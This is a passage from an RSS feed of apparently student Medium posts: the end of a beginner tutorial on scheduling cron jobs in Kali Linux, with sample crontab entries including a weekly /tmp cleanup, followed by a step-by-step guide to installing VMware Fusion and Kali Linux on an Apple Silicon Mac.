src="https://cdn-images-1.medium.com/max/480/0*gzsl6rJ8LIFBAJyY" /></figure><p>Let’s make an example together! 🚀</p><p>Go ahead to your Kali-Linux system and log in. 🙂 And then open your Terminal. Here, we are just going to start off with some simple commands to see how it works.</p><p>First of all, I wanna ask you to write the command as below on your terminal. This gives you an explanation about the Crontab File.</p><ul><li><strong>cat /etc/crontab</strong></li></ul><figure><img alt="crontab file" src="https://cdn-images-1.medium.com/max/1024/0*iG09bRGEHQvsgXdy" /></figure><p>To check out the content of your Crontab file, write this command:</p><ul><li><strong>crontab -l</strong></li></ul><p>Generally, you will reach all your Cron jobs in here for your user that logged in. If you don’t have any crontab, the answer will be <em>‘no crontab for &lt;username&gt;’ </em>as you see.</p><p>Then, let’s create one, shall we? 🙂As I mentioned before, you can edit and create your Crontab file with this command:</p><ul><li><strong>crontab -e</strong></li></ul><p>You will see the ‘<em>Select an editor’</em> option, this script shown whenever the first users run that command. I recommend to you the basic option at the first option <em>‘/bin/nano’ </em>for now. After choosing an editor, it won’t ask you in future again. So, you should choose the best option for you.</p><figure><img alt="crontab nano" src="https://cdn-images-1.medium.com/max/1024/0*4Um8RZVXNHu8zx-z" /></figure><p>When you selected <em>nano</em> option, after that you can make edits bottom of these outputs:</p><figure><img alt="crontab file content" src="https://cdn-images-1.medium.com/max/1024/0*WkO6XxE2KejMnYRq" /></figure><p>Up there, it shows you that you are working on a text file in the temp directory.</p><p>Now, come to bottom of these comment lines, let’s write an example scheduling.</p><ul><li><strong>*/10 9–17 * * 1–5 echo ‘Hello there!’ &gt;&gt; /tmp/test.txt</strong></li></ul><p>This means:</p><p>create a text file named <em>test.txt</em> and write text ‘<em>Hello there!</em>’ in every 10 minutes, Monday through Friday, from 9am to 5pm’</p><figure><img alt="create a cronjob" src="https://cdn-images-1.medium.com/max/1024/0*ZPZmFYCZFaCRoayb" /></figure><p>Then, you should save your crontab file with <strong>ctrl+o</strong> command after hit the <strong>y</strong>, and exit with <strong>ctrl+x</strong>.</p><figure><img alt="save modified file" src="https://cdn-images-1.medium.com/max/1024/0*0KTBie09FmJUBFtK" /></figure><p>Shall we, checkout our Cronjob?</p><p>Go ahead your <strong><em>tmp</em></strong> directory with <strong>cd /tmp</strong>. List your user files with <strong>ls</strong> command. In here, you can see your text file ‘<strong><em>test.txt</em></strong>’ you created as I shown you as below.</p><p>To check the text we write inside, hit this command: <strong>cat /tmp/test.txt </strong>. As you see, the Cronjob works properly.</p><figure><img alt="templates" src="https://cdn-images-1.medium.com/max/1024/0*54zZormn8XGoTJr6" /></figure><p>After this, I wanted to add another cronjob too. This cronjob remove the content of our <em>tmp</em> folder at 5:30pm on every Friday.</p><ul><li><strong>30 17 * * 5 rm -rf /tmp/*</strong></li></ul><p>30 for the minute, 17 for the hour as 5pm, 5 for the day of week which is Friday.</p><p>Don’t forget to save your adds. 🙂</p><figure><img alt="save the cronjob" src="https://cdn-images-1.medium.com/max/1024/0*sPhnn3PWRYHHww37" /></figure><p>Here a few examples for you. 👇</p><ul><li><strong>0 9–18 * * * /home/<em>user</em>/bin/check-db-status </strong>: This example checks the status of the database everyday (including weekends) during the working hours 9am — 6pm.</li><li><strong>*/10 * * * * /home/<em>user</em>/check-disk-space </strong>: It executes the specified command check-disk-space every 10 minutes through out the year.</li><li><strong>@daily /home/<em>user</em>/bin/cleanup-logs “day started”</strong> : This will do a daily log file cleanup using cleanup-logs shell script at 00:00 on every day.</li><li><strong>* * * * * /home/scripts/backup.sh; /home/scripts/scritp.sh</strong> : This execute multiple tasks using a single cron.</li></ul><p><strong>💡Hint</strong>: Multiple tasks/jobs can be separated using a semicolon(<strong>;</strong>) and can be assigned to a single cron expression.</p><ul><li><strong>MAILTO=email@example.com</strong></li></ul><p><strong>*/5 * * * * /path/to/script.sh &gt; /dev/null </strong>: It executes a script every 5 minutes and redirect the standard output to <strong>dev null</strong>, only the standard error will be sent to the specified e-mail address.</p><ul><li><strong>0 7 1–7 * 1 /path/to/script.sh </strong>: It executes a script at 7am on the first Monday of each month.</li></ul><h4><strong>Keep your mind! 💡</strong></h4><p>If you are still unsure how the schedules work, I wanna recommend you a great tool online, where you can type a schedule and it will do its best to translate that schedule for you. It’s <a href="https://crontab.guru/">crontab.guru</a>. As you can see below, I made an example by just typing on the asterisk and the tool shows me what it means and when it will work next time. That tool will be very useful to you whenever you are confused.</p><figure><img alt="crontab guru" src="https://cdn-images-1.medium.com/max/1024/0*CrF2YUM1077SGTcz" /></figure><h4>Conclusion 🚀</h4><p>Now, you have a good understanding of how to use <strong>cron</strong> to schedule tasks in Kali-Linux. Use the examples presented in this article to on your system. Over time, expand the tasks by using special characters to automate most of your mundane tasks.</p><figure><img alt="thanks" src="https://cdn-images-1.medium.com/max/500/0*mo6LyHGYPomcPbFd" /></figure><blockquote>“UNIQUESEC Student Club | Website (link:<a href="https://uniquesec.org/"> https://uniquesec.org/</a>) | Linkedin (Link:<a href="https://www.linkedin.com/company/uniquesec)%E2%80%9D"> </a><a href="https://www.linkedin.com/company/uniquesec">https://www.linkedin.com/company/uniquesec</a><a href="https://www.linkedin.com/company/uniquesec)%E2%80%9D">)”</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=575fa6db6d05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Task 1.1: How to install Kali-Linux on VMWare Fusion?]]></title>
            <link>https://medium.com/@gullbusraa/task-1-1-how-to-install-kali-linux-on-vmware-fusion-915c02077df8?source=rss-0124aaa8a32e------2</link>
            <guid isPermaLink="false">https://medium.com/p/915c02077df8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vmware]]></category>
            <category><![CDATA[fusion]]></category>
            <dc:creator><![CDATA[Büşra Gültekin]]></dc:creator>
            <pubDate>Tue, 05 Dec 2023 13:39:49 GMT</pubDate>
            <atom:updated>2024-01-08T13:43:37.176Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to install Kali-Linux on VMWare Fusion?</h3><figure><img alt="kali linux" src="https://cdn-images-1.medium.com/max/1024/0*IddaSsGo20DoW1xp" /></figure><p>Hello there.</p><p>I am here with a fresh start. It’s been a while since I have written any articles. 🙂</p><p>Today I will start with my technical articles that may be useful to you as a result of my research and studies based on the training I received at <a href="https://uniquesec.org/">UNIQUESEC</a> where I am a student now.</p><p>In this time I will write about after every lesson’s tasks result; so stay tuned guys!</p><p>This article is the first step; It will be about installing Kali-Linux on the virtual machine, which will form the basis of the entire lesson.</p><h4><strong>What is the best option to use a virtual machine for Mac?</strong></h4><p>As you know, compared to other computer devices; performing any operation on Mac devices has always been different. So, I would like to talk about two virtual machines that I consider to be my favorites to be installed on the macOS device. First one is <a href="https://www.parallels.com/eu/?cjdata=MXxOfDB8WXww&amp;cjevent=4b96e75991d411ee82ee021a0a18b8f6&amp;utm_source=CJ&amp;utm_medium=AFFILIATES">Parallels Desktop</a>.</p><p>Parallels Desktop has a yearly update cycle, it is easy to install the ARM version of Windows 11, you can choose a perpetual license or subscription, and more. That way, you can see this virtual machine is actually the most useful one for macOS devices. A 14-day free trial is available. However, there is a fee for later and seeing that the price has increased considerably this year; I realize that most people will not be able to use this virtual machine for long term.</p><p>For this reason, I want to introduce you to one of the best options we had, which was <a href="https://www.vmware.com/products/fusion/fusion-evaluation.html">VMWare Fusion</a>. While Fusion hasn’t kept up to date with the latest developments in Mac hardware and software, the availability of the free Fusion Player still makes it a great option for home users and students who occasionally need to run Windows apps or games on their Intel Mac. Therefore, I strongly recommend the VMWare Fusion virtual machine. You can continue your work in the long term with the free license key. It is the number one choice especially for students like me.</p><p><a href="https://customerconnect.vmware.com/evalcenter?p=fusion-player-personal">Fusion 13 Player</a> is free for personal use, you can download from here. You will need to register for a VMWare account first.</p><h4><strong>How to install VMWare Fusion on macOS devices?</strong></h4><p>The only thing you need to make sure in the first step is that there is 30 GB of space on your device. In the second step, create a user account if you do not have an account in VMware Fusion. This is required for the license key.</p><p>I installed VMWare Fusion on my own device. I noted down all the steps while installing it. If you follow the steps that I will show you one by one, you will complete the installation without any problems and in one go.</p><p>Let’s get started! 👀</p><figure><img alt="hacking" src="https://cdn-images-1.medium.com/max/1024/0*X880Q10sCJXu6o7C" /></figure><h4><strong>Steps to follow:</strong></h4><ul><li>You need to go to <a href="https://customerconnect.vmware.com/evalcenter?p=fusion-player-personal">this</a> site and create an account if you don’t have one. The site you need to visit should seems like as follows:</li></ul><figure><img alt="vmware fusion" src="https://cdn-images-1.medium.com/max/1024/0*CRgc9H8tGtrvx3cR" /></figure><ul><li>After completing the information you need to register, click on <strong>Register</strong>.</li></ul><figure><img alt="register vmware fusion" src="https://cdn-images-1.medium.com/max/1024/0*bJQ02hIma7g0Gdsn" /></figure><ul><li>When you see your profile activated, then Sign Up.</li></ul><figure><img alt="profile activated" src="https://cdn-images-1.medium.com/max/1024/0*AN1OiyOe2E1p8gyv" /></figure><figure><img alt="Vmware Fusion player" src="https://cdn-images-1.medium.com/max/1024/0*-rX_iDXjMfz9e9zG" /></figure><ul><li>After this process, you will have access to the <strong>License Key</strong> and <strong>Download Packages</strong> information as below.</li></ul><figure><img alt="Vmware Fusion license key" src="https://cdn-images-1.medium.com/max/1024/0*i2Ca5JWGq77uKh5s" /></figure><ul><li>Click on <strong>Manually Download</strong>.</li></ul><p>Now, you have got the VMWare Fusion. It can wait for now. At this time we need to install Kali-Linux on our devices.</p><h3><strong>How to install Kali-Linux?</strong></h3><p>Here we come to install Kali. Next steps are as below:</p><ul><li>Open your browser and go to the <a href="https://www.kali.org/">Kali website</a>.</li></ul><figure><img alt="Kali Linux" src="https://cdn-images-1.medium.com/max/1024/0*oNRA2ByPMzdlevE4" /></figure><ul><li>Click on<strong> Download</strong> and scroll over here and choose <strong>Apple Silicon (ARM64)</strong>. <em>Kali Linux 2023.3</em> is the latest release as you can see. Go ahead and choose the <strong>Installer</strong>. Then click on this icon as I show you and start downloading the image file.</li></ul><figure><img alt="kali linux installer" src="https://cdn-images-1.medium.com/max/1024/0*Ow8Zix1uTEPIzdu5" /></figure><ul><li>Once it’s done these two files downloading including Kali, place them somewhere on your computer for easier navigation.</li></ul><figure><img alt="downloading" src="https://cdn-images-1.medium.com/max/1024/0*5b-9pPKU25VFTQzE" /></figure><ul><li>Then, go ahead double click on the VMWare Fusion and follow the on-screen instructions and install it.</li></ul><figure><img alt="vmware fusion on kali" src="https://cdn-images-1.medium.com/max/1024/0*eSk5tutug0DoJO9e" /></figure><h4><strong>How to register Kali-Linux with VMWare Fusion?</strong></h4><figure><img alt="addams show" src="https://cdn-images-1.medium.com/max/480/0*pkNEVT1VA4ZYsZPc" /></figure><p>🚀 Yeah. Let’s continue where we last left off.</p><ul><li>When you click on the VMWare Fusion, some pop-up appears as follows. It is about terms and conditions. Click on <strong>Agree</strong>.</li></ul><figure><img alt="vmware fusion terms and conditions" src="https://cdn-images-1.medium.com/max/1024/0*xCQQZJl9dVkVoZ4u" /></figure><ul><li>Then, you will see the license key window. Using the license key you had when you registered as above, you can activate it now.</li></ul><figure><img alt="vmware fusion 13 license key" src="https://cdn-images-1.medium.com/max/1024/0*Xbl8MeB6YsfME-7U" /></figure><ul><li>After that, you will see this window as below. Click on install from <em>disc or disc image</em>, and import <strong>Kali-Linux ISO</strong>. 🚀And <strong>Continue</strong>.</li></ul><figure><img alt="import kali linux" src="https://cdn-images-1.medium.com/max/1024/0*Y_90xGUZbzvKVFCV" /></figure><ul><li>Now, choose <strong>Linux</strong> from the left list and select <strong>Debian 11.x 64-bit Arm </strong>preset then click on Continue.</li></ul><figure><img alt="linux operating system" src="https://cdn-images-1.medium.com/max/1024/0*KL054PdYE9ol5tZq" /></figure><ul><li>This is a summary of the Kali-Linux virtual machine. Just go ahead and choose the <strong>Customize Settings</strong>. Save as Kali Linux 2023 or what you’ll name it.</li></ul><figure><img alt="kali linux 2023" src="https://cdn-images-1.medium.com/max/1024/0*OdciYGLp-85lTL75" /></figure><ul><li>Using the settings of the virtual machine, choose the <strong>Processors &amp; Memory </strong>then increase the CPU Cores to 4 for the better performance. And I’m going to allocate 4 GBs of RAM for Kali-Linux. 👾</li></ul><figure><img alt="kali linux memory" src="https://cdn-images-1.medium.com/max/1024/0*vBK58WjxNnmKN8my" /></figure><ul><li>After that, as I mentioned before, you need to choose the <strong>Hard Disk</strong> and allocate the storage space of <strong>30GB</strong> for Kali-Linux. 🚀 Apply the changes.</li></ul><figure><img alt="kali linux hard disk" src="https://cdn-images-1.medium.com/max/1024/0*-Tw5KQFGnWG1z-AP" /></figure><ul><li>Once it’s done, start the virtual machine by clicking on the play button on it. Then you will see this screen as I show you below. Click anywhere inside the machine to detect your moves. And use the arrow keys to select <strong>Graphical Install</strong> then <strong>press enter</strong>.</li></ul><figure><img alt="linux graphical install" src="https://cdn-images-1.medium.com/max/1024/0*pwDoFgq0h4c2RIzB" /></figure><p>Next steps will be easy peasy. Stay down. 🙂</p><figure><img alt="star wars the force" src="https://cdn-images-1.medium.com/max/480/0*FUQac_TwRWc_01w7" /></figure><ul><li>Go ahead and set the system language.</li></ul><figure><img alt="select language" src="https://cdn-images-1.medium.com/max/1024/0*tQAeYUUhB4pM1P0g" /></figure><ul><li>Select your location.</li></ul><figure><img alt="select location" src="https://cdn-images-1.medium.com/max/1024/0*tNAeKqhhEpwEMHen" /></figure><figure><img alt="kali location" src="https://cdn-images-1.medium.com/max/1024/0*OnbOQYvrjk9Ye8ZY" /></figure><ul><li>Set the keyboard language.</li></ul><figure><img alt="kali keyboard language" src="https://cdn-images-1.medium.com/max/1024/0*_1mtAUlPOGWX9ai9" /></figure><ul><li>Processing…</li></ul><figure><img alt="process" src="https://cdn-images-1.medium.com/max/1024/0*1-MvbTMuYHGAFUQa" /></figure><ul><li>Now, leave the <strong>Kali</strong> as the host-name and click on <strong>Continue</strong>.</li></ul><figure><img alt="kali hostname" src="https://cdn-images-1.medium.com/max/1024/0*E8BGjvMQsWLuYO_B" /></figure><ul><li>For the Domain Name leave it empty now as below and <strong>Continue</strong>.</li></ul><figure><img alt="kali domain name" src="https://cdn-images-1.medium.com/max/1024/0*VuKVm_h3YBKkioHj" /></figure><ul><li>Create a user account name and set up with it.</li></ul><figure><img alt="kali user account" src="https://cdn-images-1.medium.com/max/1024/0*YjKcf-hlqaYDQyv5" /></figure><ul><li>Create a password for your user account.</li></ul><figure><img alt="kali user password" src="https://cdn-images-1.medium.com/max/1024/0*G_mK5to9JPCOCtYl" /></figure><ul><li>And then, select the <strong>Use Entire Disk</strong>.</li></ul><figure><img alt="kali use entire disk" src="https://cdn-images-1.medium.com/max/1024/0*UCE0AeWGOg4aBc_L" /></figure><ul><li>Select the <strong>Virtual NVMe Disk</strong> and Continue.</li></ul><figure><img alt="virtual nvme disk" src="https://cdn-images-1.medium.com/max/1024/0*ubVn35Ptn32V4LWd" /></figure><ul><li>Select the <strong>All Files in One Partition</strong>.</li></ul><figure><img alt="all files in one partition" src="https://cdn-images-1.medium.com/max/1024/0*RIhxDo5XeNPP5zZa" /></figure><ul><li>Choose the <strong>Finish Partitioning the Virtual Drive</strong> and go on.</li></ul><figure><img alt="kali partition disks" src="https://cdn-images-1.medium.com/max/1024/0*YOa_fZWLgBzSMQsF" /></figure><ul><li>For Partition disks changes to click <strong>Yes</strong> and <strong>Continue</strong>.</li></ul><figure><img alt="partition disks" src="https://cdn-images-1.medium.com/max/1024/0*cZHeWahl_eKsUELB" /></figure><ul><li>Set up and <strong>Continue</strong> as follows.</li></ul><figure><img alt="kali software selection" src="https://cdn-images-1.medium.com/max/1024/0*XNxUf7pmgd4jmkSf" /></figure><ul><li><strong>Finish</strong> the installation.</li></ul><figure><img alt="finish kali installation" src="https://cdn-images-1.medium.com/max/1024/0*QR4wfXhuiEGQUUhX" /></figure><h4><strong>Here it is! </strong>🚀</h4><figure><img alt="michael scott" src="https://cdn-images-1.medium.com/max/480/0*fVXoov8A7Ey5Ik6l" /></figure><ul><li>Now, you see the Login Screen. 🙂 Type your username and password you created. And <strong>Log In</strong>.</li></ul><figure><img alt="kali log in" src="https://cdn-images-1.medium.com/max/1024/0*MGqnfSbqE3iun0o8" /></figure><figure><img alt="kali linux virtual machine" src="https://cdn-images-1.medium.com/max/1024/0*NDN-8q5Ms_LfP_j9" /></figure><ul><li>Via using terminal, enter this commands:</li></ul><p><em>cat /etc/os-release</em></p><ul><li>As you can see, we are running the latest version of Kali-Linux inside a virtual machine on an Apple Silicon Mac. 🙂</li></ul><figure><img alt="terminal kali version" src="https://cdn-images-1.medium.com/max/1024/0*2XR3QxffDQbaGFX3" /></figure><ul><li>After installing Kali-Linux you can make changes about what you need. For example, go to the <strong>Settings</strong> and choose the <strong>Display </strong>below the <strong>Hardware</strong> section. Change the <strong>Resolution</strong> to the Native Mac version as I show you below, then <strong>Apply</strong>.</li></ul><figure><img alt="kali display settings" src="https://cdn-images-1.medium.com/max/1024/0*EH2RSla-Zy6T91aw" /></figure><p>As you can see, you can apply many customizations according to your needs. It’s up to you. 👾</p><h4><strong>That’s it. </strong>🚀</h4><p>How simple is it, right? Although it is a simple process when you understand the mindset, it can be very complex for first timers. It is advantageous and instructive to be able to find a way with researching.</p><p>I hope this tutorial is useful for anyone who is searching for those and who don’t know where to start and what steps to follow.</p><p>Stay tuned for my other technical articles! Comes more. 🙂</p><figure><img alt="matrix screen" src="https://cdn-images-1.medium.com/max/480/0*qxUvy3JP-vstnDKC" /></figure><blockquote>“UNIQUESEC Student Club | Website (link:<a href="https://uniquesec.org/"> https://uniquesec.org/</a>) | Linkedin (Link:<a href="https://www.linkedin.com/company/uniquesec)%E2%80%9D"> </a><a href="https://www.linkedin.com/company/uniquesec">https://www.linkedin.com/company/uniquesec</a><a href="https://www.linkedin.com/company/uniquesec)%E2%80%9D">)”</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=915c02077df8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>